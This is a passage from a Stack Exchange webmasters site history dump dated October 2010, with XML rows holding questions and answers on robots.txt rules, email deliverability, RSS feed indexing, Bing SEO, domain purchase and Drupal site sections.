/registration/&#xD;&#xA;    Disallow: /admin/*&#xD;&#xA;    Disallow: /news/submit&#xD;&#xA;    Disallow: /*/new&#xD;&#xA;    Disallow: /*/createnew&#xD;&#xA;    Disallow: /*/edit&#xD;&#xA;    Disallow: /*/edit/*&#xD;&#xA;    Disallow: /*/editprofile&#xD;&#xA;    Disallow: /*/delete&#xD;&#xA;    Disallow: /*/delete/*&#xD;&#xA;    Disallow: /*/update&#xD;&#xA;    Disallow: /*/update/&#xD;&#xA;    Disallow: /*/submit&#xD;&#xA;    Disallow: /*/submit/&#xD;&#xA;    Disallow: /*/report&#xD;&#xA;    Disallow: /*/report/*&#xD;&#xA;    Disallow: /search&#xD;&#xA;    Disallow: /search/&#xD;&#xA;    Disallow: /controllers/*&#xD;&#xA;    Disallow: /community/members/*/joinNetwork&#xD;&#xA;    Disallow: /community/admin/*&#xD;&#xA;    Disallow: /lostpassword&#xD;&#xA;    Disallow: /lostpassword/&#xD;&#xA;    Disallow: /registrationComplete&#xD;&#xA;    Disallow: /registrationComplete/&#xD;&#xA;    Disallow: /accountActivate&#xD;&#xA;    Disallow: /accountActivate/&#xD;&#xA;    Disallow: /generate-token&#xD;&#xA;    Disallow: /create-widget&#xD;&#xA;    Disallow: /buttons&#xD;&#xA;    Disallow: /accountDeleted&#xD;&#xA;    Disallow: /accountSuspended&#xD;&#xA;    Disallow: /news/submit&#xD;&#xA;    Disallow: /news/process-submission&#xD;&#xA;    Disallow: /news/submit/success&#xD;&#xA;    Disallow: /news/errorpage&#xD;&#xA;    Disallow: /community/members/*/mailinglist/add&#xD;&#xA;    Disallow: /community/members/*/editprofile&#xD;&#xA;    Disallow: /community/members/*/joinNetwork&#xD;&#xA;    Disallow: /community/users/*/follow&#xD;&#xA;    Disallow: /community/users/*/unfollow&#xD;&#xA;    Disallow: /trustnetwork/createtoken&#xD;&#xA;    Disallow: /trustnetwork/applytoken&#xD;&#xA;    Disallow: /community/members/*/mail/*&#xD;&#xA;    Disallow: /community/mail/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/unpublished/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/reported/*&#xD;&#xA;    Disallow: /tools/pipeline/vote-submitted.html&#xD;&#xA;    Disallow: /community/classifieds/replies/*&#xD;&#xA;    Disallow: /report&#xD;&#xA;    Disallow: /thumbvote&#xD;&#xA;    Disallow: /like&#xD;&#xA;    Disallow: /dislike&#xD;&#xA;    Disallow: /voteRemove&#xD;&#xA;    Disallow: /flagAsInteresting&#xD;&#xA;    Disallow: /addFavorite&#xD;&#xA;    Disallow: /recommend/*&#xD;&#xA;    Disallow: /completed-recommendation.html&#xD;&#xA;    Disallow: /rate&#xD;&#xA;    Disallow: /notify&#xD;&#xA;    Disallow: /addTestimonial&#xD;&#xA;    Disallow: /comments/update/*&#xD;&#xA;    Disallow: /comments/great-comment&#xD;&#xA;    Disallow: /community/members/admin/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/comments/moderated/*&#xD;&#xA;    Disallow: /community/blogs/blogposts/comments/reported/*&#xD;&#xA;    Disallow: /community/articles/reported/fetch/*&#xD;&#xA;    Disallow: /community/articles/reported/comments/moderated/*&#xD;&#xA;    Disallow: /community/articles/comments/reported/*&#xD;&#xA;    Disallow: /community/groups/*/requests&#xD;&#xA;    Disallow: /community/groups/*/moderation&#xD;&#xA;    Disallow: /community/groups/*/headlineMgmt&#xD;&#xA;    Disallow: /community/groups/*/pollMgmt&#xD;&#xA;    Disallow: /community/groups/*/join&#xD;&#xA;    Disallow: /community/groups/*/leave&#xD;&#xA;    Disallow: /community/groups/*/shout&#xD;&#xA;    Disallow: /community/groups/*/topics/reply/*&#xD;&#xA;    Disallow: /community/groups/*/banUser&#xD;&#xA;    Disallow: /countries/cities&#xD;&#xA;    Disallow: /country/schools&#xD;&#xA;    Disallow: /community/knowledge-center/answers/accept&#xD;&#xA;    Disallow: /community/knowledge-center/answers/unAccept&#xD;&#xA;    Disallow: /requestPassword&#xD;&#xA;    Disallow: /restorePassword&#xD;&#xA;    Disallow: /restoredPassword&#xD;&#xA;    Disallow: /changePassword&#xD;&#xA;    Disallow: /changedPassword&#xD;&#xA;    Disallow: /adverts/replies/mailbox&#xD;&#xA;    Disallow: /security/error403&#xD;&#xA;    Disallow: /home/error404&#xD;&#xA;    Disallow: /home/disabled-notification&#xD;&#xA;    Disallow: /home/error500&#xD;&#xA;    Disallow: /*?&#xD;&#xA;    Allow: /&#xD;&#xA;    &#xD;&#xA;    Sitemap: http://www.example.com/sitemap-index.xml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It looks ok to me, but obviously, there must be something in the robots.txt which is restricting access to quite a few pages. I will be very grateful if someone can spot the offending lines in my robots.txt file" />
  <row Id="7355" PostHistoryTypeId="5" PostId="3732" RevisionGUID="526d1863-d26b-4744-9c72-3b07c01557b2" CreationDate="2010-10-11T22:20:14.170" UserId="1757" Comment="fix typos" Text="First things first: are you sending spam (unsolicited mass email)? If you're not operating a strictly opt-in list that is carefully maintained, then you will end up spamming a lot of people, who will get annoyed with you and report you as a spammer (simply by clicking the &quot;mark as spam&quot; button).&#xD;&#xA;&#xD;&#xA;If you're not spamming people, then you need to make sure you use an authenticated mail server that isn't being used by spammers. Also, setting up SPF as John Conde suggests will further verify that you're a legitimate mail sender since receivers can use reverse DNS to verify the sender is the owner of the domain the email is coming from.&#xD;&#xA;&#xD;&#xA;There are also content checkers that try to see if your email contains any spammy text, but as long as you're not writing stuff like &quot;FR3E VI4GR4!!! F4KE R013X&quot; in your emails, this isn't a big issue these days.&#xD;&#xA;&#xD;&#xA;Also, what volume of email are you sending? What is your opt-out policy? If you're on a large web host with a decent tech support, you could consult them and see what they suggest. Usually legit web hosts have a vested interest in not getting their IP blacklisted as a spam source." />
  <row Id="7356" PostHistoryTypeId="2" PostId="3749" RevisionGUID="d12b56d6-40b4-44bc-851e-c1975756a017" CreationDate="2010-10-11T22:33:32.270" UserDisplayName="morpheous" Text="I have a lot of feeds generated on my pages - and it seems to let them go to waste (Googlebot does not seem to see them). The RSS feeds display correctly in the pages when viewed through a browser, so I know they are working correctly.&#xD;&#xA;&#xD;&#xA;Is there a way where I can somehow make the RSS feeds 'discoverable' by the world? (so I can drive traffic to my site?)" />
  <row Id="7357" PostHistoryTypeId="1" PostId="3749" RevisionGUID="d12b56d6-40b4-44bc-851e-c1975756a017" CreationDate="2010-10-11T22:33:32.270" UserDisplayName="morpheous" Text="Is there a googlebot equivalent for RSS feeds?" />
  <row Id="7358" PostHistoryTypeId="3" PostId="3749" RevisionGUID="d12b56d6-40b4-44bc-851e-c1975756a017" CreationDate="2010-10-11T22:33:32.270" UserDisplayName="morpheous" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;rss&gt;" />
  <row Id="7359" PostHistoryTypeId="2" PostId="3750" RevisionGUID="d385be3d-c3dc-4d66-8866-315749b9aa45" CreationDate="2010-10-11T22:38:37.590" UserId="2288" Text="**CONCEPTS:** completeness, accuracy, consistency, stability, relevancy&#xD;&#xA;&#xD;&#xA;**SEMI-RELATE-SUBJECTS:** taxonomy, data quality, indexes, keywords, SEO, SEM&#xD;&#xA;&#xD;&#xA;**FORMULAS:** ? ? ?" />
  <row Id="7360" PostHistoryTypeId="1" PostId="3750" RevisionGUID="d385be3d-c3dc-4d66-8866-315749b9aa45" CreationDate="2010-10-11T22:38:37.590" UserId="2288" Text="How I quantify the success of a folksonomy?" />
  <row Id="7361" PostHistoryTypeId="3" PostId="3750" RevisionGUID="d385be3d-c3dc-4d66-8866-315749b9aa45" CreationDate="2010-10-11T22:38:37.590" UserId="2288" Text="&lt;analytics&gt;&lt;keywords&gt;&lt;meta-keywords&gt;&lt;data&gt;" />
  <row Id="7362" PostHistoryTypeId="2" PostId="3751" RevisionGUID="f0998b93-6312-4b99-8a6e-9cf691b8b231" CreationDate="2010-10-11T23:10:26.163" UserId="233" Text="You can submit RSS feeds to Google Webmaster Tools as well as the equivalents at Bing and Yahoo. I would also suggest subscribing to them yourself in a Google Reader account - that way Google will regularly check the feeds for updates.&#xD;&#xA;&#xD;&#xA;Note that none of this guarantees your content will be indexed. It's best to ensure the content is easily accessible from the site itself without RSS." />
  <row Id="7363" PostHistoryTypeId="2" PostId="3752" RevisionGUID="2c8dacdf-1edd-4599-9a27-c5c09d65fa79" CreationDate="2010-10-11T23:20:54.103" UserId="233" Text="From Wikipedia, since I hadn't heard that term before:&#xD;&#xA;&#xD;&#xA;&gt; A **folksonomy** is a system of classification derived from the practice and method of collaboratively creating and managing tags to annotate and categorize content; this practice is also known as **collaborative tagging, social classification, social indexing, and social tagging**.&#xD;&#xA;&#xD;&#xA;&quot;Success&quot; is a very vague term here. Any measure of success depends on what your goals are for your site/application, and what the dataset contains. No-one here can really tell you how to measure success.&#xD;&#xA;&#xD;&#xA;Furthermore, all the concepts you provide are incredibly difficult to measure in the first place. Take &quot;completeness&quot;, for example: do you know the size of a complete set, or is there even a concept of a complete set?&#xD;&#xA;&#xD;&#xA;Perhaps providing more information about your site or its data would help us answer, but to be honest I think only you can decide what is successful and how to measure it." />
  <row Id="7364" PostHistoryTypeId="2" PostId="3753" RevisionGUID="a70bde3b-1a4f-47e4-964c-5408e87a2a63" CreationDate="2010-10-11T23:47:09.113" UserId="233" Text="The reasoning stems from users not being able to see their password as they type it into the password box. The email field therefore does not require duplication.&#xD;&#xA;&#xD;&#xA;For the password field, it can be useful to ensure the user has not mistyped the password. However, if you have a &quot;forgot password&quot; function, then there is no reason the user cannot reset their password if it turns out they mistyped it.&#xD;&#xA;&#xD;&#xA;As Michael Pryor suggests in the comments, the fewer form fields you have, the more likely a user will (a) use the form in the first place, and (b) not make any mistakes. [Tumblr][1] seems to be the current 'poster child' for good registration form UI - they ask for only three fields, the absolute minimum you need to start using the service.&#xD;&#xA;&#xD;&#xA;See also this question from the UI Stack Exchange: [Is a “repeat password” field necessary in a signup page?][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tumblr.com/&#xD;&#xA;  [2]: http://ui.stackexchange.com/questions/484/is-a-repeat-password-field-necessary-in-a-signup-page" />
  <row Id="7365" PostHistoryTypeId="2" PostId="3754" RevisionGUID="99a77952-a350-4445-978c-edfb7abaa070" CreationDate="2010-10-12T00:31:41.293" UserId="1737" Text="One option that's been debated, is to make the password field *visible text*, instead of asterisks. That way, the user can see what is being typed, and you don't need a second field. (Ideally make it an option, say a checkbox, so the user can make it visible or not).&#xD;&#xA;&#xD;&#xA;  - [Stop Password Masking][1]  &#xD;&#xA;  - [The problem with passwords][2]&#xD;&#xA;&#xD;&#xA;And I personally *never* re-type my email field, instead just cutting/pasting it - so it's kinda pointless to duplicate that one also...&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/passwords.html&#xD;&#xA;  [2]: http://www.alistapart.com/articles/the-problem-with-passwords/" />
  <row Id="7366" PostHistoryTypeId="2" PostId="3755" RevisionGUID="4b6ae247-9830-4f7b-a4bb-b70f590809d0" CreationDate="2010-10-12T01:57:49.043" UserId="2026" Text="Have you ever tried feed search engines or where you can submit your feeds, like technoarti" />
  <row Id="7367" PostHistoryTypeId="2" PostId="3756" RevisionGUID="5e625b23-b398-4294-a6a9-aea9f42f4bc3" CreationDate="2010-10-12T02:03:54.803" UserId="2026" Text="First you must know why a mail goes to SPAM folder.&#xD;&#xA;&#xD;&#xA; 1. First a mail is recognized by its&#xD;&#xA;    subject. Subject line should not&#xD;&#xA;    consist any word like `free` etc.,&#xD;&#xA;    as you are selling something&#xD;&#xA; 2. Subject and body should also not&#xD;&#xA;    contain vulgar or spam words.&#xD;&#xA; 3. You need to know whether your IP&#xD;&#xA;    address is listed in DNSBL. You can&#xD;&#xA;    search for it from&#xD;&#xA;    http://www.blacklistmaster.com/." />
  <row Id="7368" PostHistoryTypeId="2" PostId="3757" RevisionGUID="06dba587-f93c-43e6-bc00-a1b33473fd27" CreationDate="2010-10-12T02:07:13.953" UserId="2026" Text="You can use javascript redirect on particular pages, If possible in your case." />
  <row Id="7369" PostHistoryTypeId="2" PostId="3758" RevisionGUID="531fe59e-eefc-4335-8786-29917af92860" CreationDate="2010-10-12T02:18:43.133" UserId="2026" Text="&#xD;&#xA;&#xD;&#xA;Last day when i visited google webmaster tools, i found crawler errors for 42 not found pages. all the pages were having &quot;luminous-solutions.net&quot; at last in the URL. Like&#xD;&#xA;&#xD;&#xA;http://article-stack.com/2010/08/page/luminous-solutions.net&#xD;&#xA;&#xD;&#xA;I had never written any post which is having this word. For the safety, i had manually searched it on my site using internal and external search facility. I also had searched in source code as well.&#xD;&#xA;&#xD;&#xA;I had searched in database, newly installed plugins, theme code.... But i found nothing with &quot;luminous-solutions.net&quot;&#xD;&#xA;&#xD;&#xA;404 means, some text in contents are pointing to these links. But link doesn't exist. I had manually checked those pages as well.&#xD;&#xA;&#xD;&#xA;May this fault occurred from google crawler itself or really some virus infected my site?" />
  <row Id="7370" PostHistoryTypeId="1" PostId="3758" RevisionGUID="531fe59e-eefc-4335-8786-29917af92860" CreationDate="2010-10-12T02:18:43.133" UserId="2026" Text="is it google webmaster crawler's fault or a virus?" />
  <row Id="7371" PostHistoryTypeId="3" PostId="3758" RevisionGUID="531fe59e-eefc-4335-8786-29917af92860" CreationDate="2010-10-12T02:18:43.133" UserId="2026" Text="&lt;google-webmaster-tools&gt;&lt;404&gt;&lt;virus&gt;" />
  <row Id="7372" PostHistoryTypeId="2" PostId="3759" RevisionGUID="c1a26156-e7e0-493e-a39e-32bb8cf11474" CreationDate="2010-10-12T04:06:24.767" UserId="164" Text="I'm looking for a wordpress template to create a website's directory. Anyone know?&#xD;&#xA;&#xD;&#xA;The template can be paid or free." />
  <row Id="7373" PostHistoryTypeId="1" PostId="3759" RevisionGUID="c1a26156-e7e0-493e-a39e-32bb8cf11474" CreationDate="2010-10-12T04:06:24.767" UserId="164" Text="Directory template for Wordpress - Free or Paid" />
  <row Id="7374" PostHistoryTypeId="3" PostId="3759" RevisionGUID="c1a26156-e7e0-493e-a39e-32bb8cf11474" CreationDate="2010-10-12T04:06:24.767" UserId="164" Text="&lt;wordpress&gt;&lt;theme&gt;&lt;directory&gt;&lt;template&gt;" />
  <row Id="7376" PostHistoryTypeId="2" PostId="3761" RevisionGUID="8c5e0528-28ce-44aa-9cc3-b45e52b0745d" CreationDate="2010-10-12T06:15:02.940" UserId="1064" Text="A WordPress [archive index][1] should do the trick - you might also consider the [Google sitemap][2] plugin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Creating_an_Archive_Index&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/google-sitemap-generator/" />
  <row Id="7377" PostHistoryTypeId="2" PostId="3762" RevisionGUID="24bbf6db-d273-4346-a48f-9d1d70986adf" CreationDate="2010-10-12T06:39:12.820" UserId="2290" Text="if the rss feeds are referred to in the head section of the html or linked to in the body of the html google will discover them. (you can use: [site:yourdomain.com inurl:rss] to look if some of them were indexed)&#xD;&#xA;&#xD;&#xA;and/or you can submit RSS as a sitemap kinda file via google webmaster tools, more about that see http://googlewebmastercentral.blogspot.com/2009/10/using-rssatom-feeds-to-discover-new.html&#xD;&#xA;&#xD;&#xA;but as they are no landing pages and most of the time duplicate content google won't show them in the SERPS (since 2007) see http://googlewebmastercentral.blogspot.com/2007/12/taking-feeds-out-of-our-web-search.html (most of the times, there are still exceptions i.e. a site: search)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="7378" PostHistoryTypeId="2" PostId="3763" RevisionGUID="8cb0ace3-c4ee-4ddc-8e32-a45609c6e7e3" CreationDate="2010-10-12T09:41:41.967" UserId="2292" Text="Most available resources (even Bing community) promote the general principles for optimize a site in Google. My site is quite well optimized for a certain keyword combination in Google, yet in Bing it fails to even show up on 1st page. Now, I'm aware both engines do not employ same algorithm. In this case, then there should be particularities in Bing SEO, too. All I found online was pretty vague." />
  <row Id="7379" PostHistoryTypeId="1" PostId="3763" RevisionGUID="8cb0ace3-c4ee-4ddc-8e32-a45609c6e7e3" CreationDate="2010-10-12T09:41:41.967" UserId="2292" Text="Are there any specific tips and tricks for optimizing a website for Bing?" />
  <row Id="7380" PostHistoryTypeId="3" PostId="3763" RevisionGUID="8cb0ace3-c4ee-4ddc-8e32-a45609c6e7e3" CreationDate="2010-10-12T09:41:41.967" UserId="2292" Text="&lt;seo&gt;&lt;bing&gt;" />
  <row Id="7381" PostHistoryTypeId="2" PostId="3764" RevisionGUID="d25ec092-c624-41de-9ef7-a1ba5ac3151a" CreationDate="2010-10-12T10:30:42.453" UserId="1955" Text="Crawling your website with xenu does not show such links. Maybe the problem is in the submitted site map, can you send us a link to the sitemap?" />
  <row Id="7382" PostHistoryTypeId="2" PostId="3765" RevisionGUID="523f2f12-0438-406d-8dbc-7b580bfc1937" CreationDate="2010-10-12T10:46:47.123" UserId="480" Text="Don't worry about them.&#xD;&#xA;&#xD;&#xA;There are many spammy sites that create links such as that. GoogleBot honours them and tries to follow the URI only to hit a 404. If you do a search for `link:http://article-stack.com/2010/08/page/luminous-solutions.net` in respective search engines you'll often find the culprit (otherwise they'll have been taken down already).&#xD;&#xA;&#xD;&#xA;A search for just `link:luminous-solutions.net` reveals a set of typical spam.&#xD;&#xA;&#xD;&#xA;If you definitely do not want crawlers to follow them then create a **deny all by default** robots.txt and only allow the URLs you know will result in correct pages being displayed (but that may be considered overkill)." />
  <row Id="7383" PostHistoryTypeId="2" PostId="3766" RevisionGUID="15009571-1d82-4905-b91b-1244ed1f4485" CreationDate="2010-10-12T11:08:35.290" UserId="233" Text="Two particular tips I've seen a few times (e.g. [here][1]) are:&#xD;&#xA;&#xD;&#xA;1. **Domain age** is a big factor in Bing. Google has their sandbox (or whatever they call it) where new domains are &quot;given the benefit of the doubt&quot; with a small boost early and then dropped back later on. Bing doesn't have this AFAIK and new domains will take a while to gain any traction.&#xD;&#xA;2. Don't be afraid to **link out**. Too many people are worried about &quot;losing PageRank&quot; and so refrain from linking to other sites. However if a site is completely &quot;self-contained,&quot; that could be seen as spam I guess.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://everyjoe.com/work/bing-seo-tips-or-should-it-be-deo-tips/" />
  <row Id="7384" PostHistoryTypeId="5" PostId="3766" RevisionGUID="ac6c996f-2883-4531-85d9-faa5c95aa80f" CreationDate="2010-10-12T11:14:46.970" UserId="233" Comment="added 477 characters in body" Text="Two particular tips I've seen a few times (e.g. [here][1]) are:&#xD;&#xA;&#xD;&#xA;1. **Domain age** is a big factor in Bing. Google has their sandbox (or whatever they call it) where new domains are &quot;given the benefit of the doubt&quot; with a small boost early and then dropped back later on. Bing doesn't have this AFAIK and new domains will take a while to gain any traction.&#xD;&#xA;2. Don't be afraid to **link out**. Too many people are worried about &quot;losing PageRank&quot; and so refrain from linking to other sites. However if a site is completely &quot;self-contained,&quot; that could be seen as spam I guess.&#xD;&#xA;&#xD;&#xA;But there really is nothing concrete as far as I can tell. No sites provide any research or evidence to back claims up. Simply creating great content and gaining many in-links is key for all search engines.&#xD;&#xA;&#xD;&#xA;(Incidentally, there is definitely a gap in the market for a site targeted to &quot;bing seo&quot;. Search that term and just marvel at the horrendously low quality of every site that comes up. None of them appear to have any inlinks either since they are such poor quality.)&#xD;&#xA;&#xD;&#xA;  [1]: http://everyjoe.com/work/bing-seo-tips-or-should-it-be-deo-tips/" />
  <row Id="7385" PostHistoryTypeId="2" PostId="3767" RevisionGUID="316c1340-3d0a-4a70-a313-6e943f99cad5" CreationDate="2010-10-12T12:53:08.870" UserId="2306" Text="I am looking for a tournament management software that includes some non-standard things. So far, I haven't found anything usable for my purposes and I don't expect any to exist. Instead I want to find something close that I can extend and tweak according to my wishes. &#xD;&#xA;&#xD;&#xA;Here are the requirements, for which I am looking for in a web-based tournament management software:&#xD;&#xA;&#xD;&#xA;* Customizable: open-source would be perfect, otherwise at least needs to support plug-ins to support different kinds of sports/games/results/etc.&#xD;&#xA;* Authentication: support for authenticated users that can be related to different tournaments as well as teams&#xD;&#xA;* Runs mostly non-supervised: as the tournaments are web-based I'd like to give contestants the possibility to sign-up themselves (based on authentication system to reduce the spamming problem) and report results themselves. Result reports vary dramatically based on the actual tournament, hence, may require some result determination plug-ins. The goal is to drastically reduce the required manual effort by administrators compared to typical tournament management software.&#xD;&#xA;* Web interface: I am not interested in off-line tournament management software&#xD;&#xA;* Active: If in any way possible I'd like to build upon software that is maintained and/or in active development&#xD;&#xA;&#xD;&#xA;Some optional nice-to-have features would be:&#xD;&#xA;&#xD;&#xA;* automatic bracket generation with selectable algorithms (round-robin, KO system, etc)&#xD;&#xA;* visualizations (mainly brackets)&#xD;&#xA;* statistics&#xD;&#xA;&#xD;&#xA;I am asking this question after researching alternatives my google-fu could find. I will list the tools here that I found and what is wrong with them for my purposes. Please feel free to help me improve my google-fu, or point out if I have overlooked something in my evaluations.&#xD;&#xA;&#xD;&#xA;* open tournament system: looks roughly like what I had in mind, but never seems to have taken off and is unmaintained for almost half a decade now&#xD;&#xA;* KMleague: also sounds nice, but doesn't appear to be maintained anymore (I couldn't get access to their forums for more information either. Never received the activation e-mail.) Maybe someone here knows it and whether it's worthwhile to check out the code as a starting point.&#xD;&#xA;* In this [SO thread][1] I found Tourney logic and TournamentAPI, which both require off-line management of the tournaments. Additionally, the first is commercial and the latter hasn't released anything yet.&#xD;&#xA;* Konkuri.com - gives me not enough customization possibilities and requires heavy moderation by some administrator.&#xD;&#xA;&#xD;&#xA;Several commercial products I quickly dismissed for their lack of customizability (most are strictly limited to a certain sport/game) and because all I came across where again off-line managed.&#xD;&#xA;&#xD;&#xA;Does anyone know of something that could be used as a starting point, or will I have to develop such a system from scratch?&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1527185/any-tournament-apis-out-there" />
  <row Id="7386" PostHistoryTypeId="1" PostId="3767" RevisionGUID="316c1340-3d0a-4a70-a313-6e943f99cad5" CreationDate="2010-10-12T12:53:08.870" UserId="2306" Text="Which online tournament software?" />
  <row Id="7387" PostHistoryTypeId="3" PostId="3767" RevisionGUID="316c1340-3d0a-4a70-a313-6e943f99cad5" CreationDate="2010-10-12T12:53:08.870" UserId="2306" Text="&lt;web-development&gt;" />
  <row Id="7388" PostHistoryTypeId="2" PostId="3768" RevisionGUID="4fb29fcb-854e-4f99-a649-9fda9e5dd00a" CreationDate="2010-10-12T13:51:45.367" UserId="2308" Text="I would like to buy [www.caves.com][1] but it seems that it's owned and there is a &quot;search engine&quot; there.&#xD;&#xA;How do I contact the site owners and buy this domain?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.caves.com" />
  <row Id="7389" PostHistoryTypeId="1" PostId="3768" RevisionGUID="4fb29fcb-854e-4f99-a649-9fda9e5dd00a" CreationDate="2010-10-12T13:51:45.367" UserId="2308" Text="How to register an owned, unused domain?" />
  <row Id="7390" PostHistoryTypeId="3" PostId="3768" RevisionGUID="4fb29fcb-854e-4f99-a649-9fda9e5dd00a" CreationDate="2010-10-12T13:51:45.367" UserId="2308" Text="&lt;domains&gt;&lt;domain-names&gt;" />
  <row Id="7391" PostHistoryTypeId="2" PostId="3769" RevisionGUID="1bfbcc09-6e6d-4bff-b40d-ed8924beb1f0" CreationDate="2010-10-12T14:02:01.880" UserId="108" Text="If there is no email address listed on the website you will need to search for caves.com on http://www.whois.net to see who owns the site.  Whois will give you all of the information it can about who owns the site.  Some registrars allow for private ownership and basically don't show any information about the site you searched for.&#xD;&#xA;&#xD;&#xA;I did a quick check and in this case it looks like it is registered at MONIKER ONLINE SERVICES, INC.  Unfortunately, it looks like the account is private so that is all of the info there is about the site.  You probably will not be able to contact the site owners.&#xD;&#xA;&#xD;&#xA;Also, it looks like caves.com is using a pretty common spam/advertising template so chances are they are just making money off of the domain and not doing anything else." />
  <row Id="7392" PostHistoryTypeId="2" PostId="3770" RevisionGUID="1c364c83-5613-4549-aa47-158be59e6e96" CreationDate="2010-10-12T14:55:09.803" UserDisplayName="med" Text="Does anybody know whether the location of the datacenter affects the SEO value of a given website?&#xD;&#xA;In other words a site which has 100% of visitors coming from USA has to be hosted in USA for better SEO or no problem if it is hosted outside the USA.&#xD;&#xA;I know that it has to be hosted in USA because of some performance like in server ping and data transfer.&#xD;&#xA;thanks." />
  <row Id="7393" PostHistoryTypeId="1" PostId="3770" RevisionGUID="1c364c83-5613-4549-aa47-158be59e6e96" CreationDate="2010-10-12T14:55:09.803" UserDisplayName="med" Text="SEO Geolocation" />
  <row Id="7394" PostHistoryTypeId="3" PostId="3770" RevisionGUID="1c364c83-5613-4549-aa47-158be59e6e96" CreationDate="2010-10-12T14:55:09.803" UserDisplayName="med" Text="&lt;seo&gt;&lt;geolocation&gt;" />
  <row Id="7395" PostHistoryTypeId="2" PostId="3771" RevisionGUID="a0da560b-51e2-4784-8af2-aa2617359615" CreationDate="2010-10-12T15:02:25.127" UserId="1253" Text="That would only affect [local (country specific) search][1] (and only be a very minor factor). It would have no effect in google.com searches. But you should do it anyway for the speed benefits you mentioned which can also have an affect on your rankings. [Google has indicated that slower web pages may see a negative effect on their rankings][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="7396" PostHistoryTypeId="2" PostId="3772" RevisionGUID="c63b4fae-15a7-45fa-bf22-bf4996892749" CreationDate="2010-10-12T15:17:20.367" UserId="1074" Text="If you're a seriously large sender, beware--The big three (Google, MSN/Hotmail, and Yahoo as well as that wanna-be monster AOL) all seem to have serious challenges to people who send more than X number of emails to them per second (honestly, that number is not published as far as I know).  Regardless of what you do, regardless of how legit you are, they all seem to get touchy when you jam a bunch of email down their throats.  It's worse when you're just getting started and they don't &quot;trust&quot; you yet.&#xD;&#xA;&#xD;&#xA;The &quot;big&quot; senders such as Socketlabs, SMTP.com etc all throttle sending to sites in the beginning, but especially the big hosts.  We were having some similar issues with a well established, properly setup host.  When we added a short delay between sends to similar hosts (i.e. when our server sends an email to hotmail followed by another email to hotmail, it delays a few miliseconds) our delivery rate to those hosts skyrocketed.  Sure, it slows down sending at little bit, but we're still able to get out several hundred thousand emails a day without fail.&#xD;&#xA;&#xD;&#xA;Know, however, that you can never guarantee that an email will not be spam or even 100% guarantee that it'll be delivered.  Between overzealous spam rules, inept users, the blackhole of AOL and connectivity challenges of a nationwide network, there are a million and one reasons why your email may never reach an inbox.  The only thing you can do is ensure that you've covered your bases and that from your end it's good to go." />
  <row Id="7397" PostHistoryTypeId="2" PostId="3773" RevisionGUID="7f8acdf4-0a09-4663-8e59-9dca1b05efce" CreationDate="2010-10-12T16:45:09.197" UserId="233" Text="A better solution IMO would be to detect whether the user is logged in. If they are not, show the standard page (this could be cached). Any web spider will never be logged in but if you are optimizing for them, why not for new users to your site?" />
  <row Id="7398" PostHistoryTypeId="2" PostId="3774" RevisionGUID="6f1b7cfa-8dd2-4eff-bbed-5134e31d8695" CreationDate="2010-10-12T17:37:08.450" UserId="1074" Text="Bing has a webmaster tools package available that they claim will help you sort out any issues.  I'm not sure if there's any difference between it and Google's webmaster tools, but I'm always skeptical of all Microsoft's claims....&#xD;&#xA;&#xD;&#xA;http://www.bing.com/toolbox/webmasters/" />
  <row Id="7399" PostHistoryTypeId="2" PostId="3775" RevisionGUID="4a7c465d-f560-4aa4-a066-a8b524699664" CreationDate="2010-10-12T18:09:45.633" UserId="2311" Text="What is the best way to create a website with sections in Drupal?&#xD;&#xA;&#xD;&#xA;Users need to be able to add, remove, and nest pages fairly easily. Pages added to a section should have an appropriate URL, like &quot;/[section name]/[page title]&quot;.&#xD;&#xA;&#xD;&#xA;This seems like a straightforward task, but I can't find the right combination of tools to do it. [Subsite][1] comes close, but for some odd reason, doesn't set up the correct content paths. The closest I got was creating a book for each subsection, but that feels like I'm using the wrong tool for the job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/subsites" />
  <row Id="7400" PostHistoryTypeId="1" PostId="3775" RevisionGUID="4a7c465d-f560-4aa4-a066-a8b524699664" CreationDate="2010-10-12T18:09:45.633" UserId="2311" Text="Website with sections in Drupal?" />
  <row Id="7401" PostHistoryTypeId="3" PostId="3775" RevisionGUID="4a7c465d-f560-4aa4-a066-a8b524699664" CreationDate="2010-10-12T18:09:45.633" UserId="2311" Text="&lt;cms&gt;&lt;drupal&gt;" />
